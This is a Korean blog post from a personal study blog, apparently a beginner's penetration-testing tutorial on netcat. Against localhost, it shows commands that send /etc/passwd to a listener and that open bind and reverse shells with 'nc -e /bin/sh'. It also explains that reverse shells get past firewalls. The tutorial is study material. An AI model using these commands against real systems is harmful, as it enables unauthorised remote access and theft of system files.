공부방
지그 (Sieg)
전체 방문자
오늘
어제

티스토리

  • 분류 전체보기
    • 일상
      • 식사
      • 제품리뷰
    • 취미
      • 식물
      • 열대어
      • 여행
      • 보드게임
    • 공부
      • 해킹공부
      • 웹해킹문제
      • 리버싱문제
      • 모바일해킹문제
      • 오류해결
      • 코딩공부
      • 정보보안기사공부

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 칼리리눅스
  • 리버싱
  • abex' crackme
  • 취미
  • 해킹
  • 웹해킹
  • 해킹문제
  • 파이썬
  • 해킹공부
  • 코딩
  • 와이어샤크
  • 프로그래밍
  • 드림핵
  • 파티게임
  • 메모장후킹
  • 칼리리눅스사용법
  • 웹해킹문제
  • 모의해킹
  • 모바일후킹
  • 보드게임

최근 댓글

최근 글

공부방

공부/해킹공부

넷캣 간단하게 사용해보기

2020. 7. 25. 20:48

넷캣
모의해킹 분야의 맥가이버칼로 다재다능하다.
넷캣으로 클라이언트, 서버 모드를 2개다 구현할 수 있기 때문에 넷캣하나만 이용해서 서로 통신이 가능하다.

 

-h 옵션으로 사용법을 확인할 수 있다.
왼쪽이 클라이언트(해커)이고 오른쪽이 서버(공격대상)이다.
서버쪽에 nc -lvp 4444를 입력한 모습

서버로 만들 터미널에 nc -lvp 4444 입력해준다.

 

l -> listening mode(서버로 동작하는 것을 의미)
v -> 상태메시지 출력
p -> listening 실행 시 사용하는 포트 번호

 

이렇게 하면 간단한 서버를 만들 수 있다.

 

클라이언트쪽에 nc 127.0.0.1 4444을 입력
서로 연결된 모습

이렇게 되면 클라이언트가 서버와 연결된 것을 확인할 수 있다.

 

클라이언트에 hello를 입력한 결과

클라이언트에 hello를 입력한 결과 서버 쪽에 hello가 전달이 되었다.

 

서버에 ack를 입력한 결과

이번엔 서버에 ack를 입력하였다. 이번에도 역시 서버에 ack를 입력하니 클라이언트 쪽으로 ack가 전달되었다.

이와 같이 클라이언트와 서버끼리 메시지를 보낼 수 있게 되었다.

 

이번엔 넷캣을 이용해서 파일을 복사해보자.

서버 쪽에 nc -lvp 4444 > passwd를 입력한다.

 

 

그리고 클라이언트에 nc -q 0 127.0.0.1 4444 < /etc/passwd를 입력한다.

 

명령어에 사용된 ">" or "<" 기호는 리다이렉션이라고 한다.
괄호의 방향으로 파일을 출력 또는 입력을 받을 수 있다.

 

nc -lvp 4444 > passwd
서버 쪽에서는 클라이언트에서 네트워크 쪽으로 들어오는 입력을 passwd라는  파일에 저장을 하는 것이다.

 

nc -q 0 127.0.0.1 4444 < /etc/passwd
/etc/passwd파일의 내용을 입력받아서 넷캣을 이용해 서버로 전달하게 되는 것이다.
-q옵션은 파일전송이 끝나면 바로 종료시켜주는 옵션이다.

 

이것으로 클라이언트 /etc/passwd내용복사해서  서버 passwd파일에 저장할 수 있다.

 

 

이번엔 넷캣으로 커맨트쉘을 실행시켜보자.

 

일단 쉘은 2가지로 나눌 수 있는데 바인드쉘과 리버스쉘로 나눌 수 있다.
바인드쉘은 공격 대상에 서버 포트가 열리고 해커 쪽에서 서버에 접속을 해서 생성시키는 쉘이다.

 

nc -lvp 4444 -e /bin/sh를 입력해준다.

-e옵션은 접속을 하고 나면 명령을 실행시켜주는 옵션이다.

 

그다음 해커쪽에서 nc 127.0.0.1 4444를 입력해준다.

그리고 서버쪽에서 해커 쪽이 연결이 되었다고 출력이 된다.

 

연결이 되었으니 id를 입력해보자.

 

이 id라는 명령어로 사용자의 계정 정보를 확인할 수 있었다.

 

이번엔 ip addr명령어로 ip를 확인할 수도 있었다.

cat /etc/passwd으로 etc파일도 확인할 수 있었다.

 

 

그다음 리버스쉘은 해커 쪽에서 포트를 열고 공격 대상이 해커 쪽으로 접속을 하여 생산시키는 쉘이다.

이번이번엔 해커 쪽에서 nc -lvp 4444를 입력해준다.

 

그리고 서버쪽에 nc 127.0.0.1 4444 -e /bin/sh를 입력해준다.

그럼 연결된 것을 확인할 수 있다.

 

바인드쉘과 똑같이 해커 쪽에서 id를 검색하면 정보가 나온다.

 

그렇다면 왜 리버스쉘을 사용해야 할까?

그 이유는 방화벽 때문이다.

만약 해커가 서버 쪽 포트에 접근을 하면 방화벽이 접속을 차단해버린다.

이럴 때는 바인드쉘을 사용할 수 없다.

하지만 리버스쉘은 사용할 수 있다.

방화벽을 사용하는 환경이라도 내부에서 외부로 나가는 접속은 허용을 시키는 경우가 많기 때문이다.

(왜냐하면 내부에서 외부로 나가는 접속이 가능해야 회사 내의 컴퓨터가 인터넷을 사용할 수 있음)

그래서 해커는 자신의 포트를 열고 서버 쪽에서 해커 쪽으로 접속을 하게 만든다.

내부에서 외부로 접속을 하기 때문에 방화벽으로 인해 차단되지 않는다.

 

'공부 > 해킹공부' 카테고리의 다른 글

Recon-ng  (0) 2020.07.26
이메일 수집  (0) 2020.07.26
와이어 샤크 패킷 분석하기 실습  (0) 2020.07.02
와이어 샤크 패킷 분석(feat.네트워크마이너)  (0) 2020.07.02
모의해킹 공부를 위한 버추얼박스 설치 후 칼리리눅스 설치  (0) 2020.06.30
지그 (Sieg)
.
Designed By 정상우.

티스토리툴바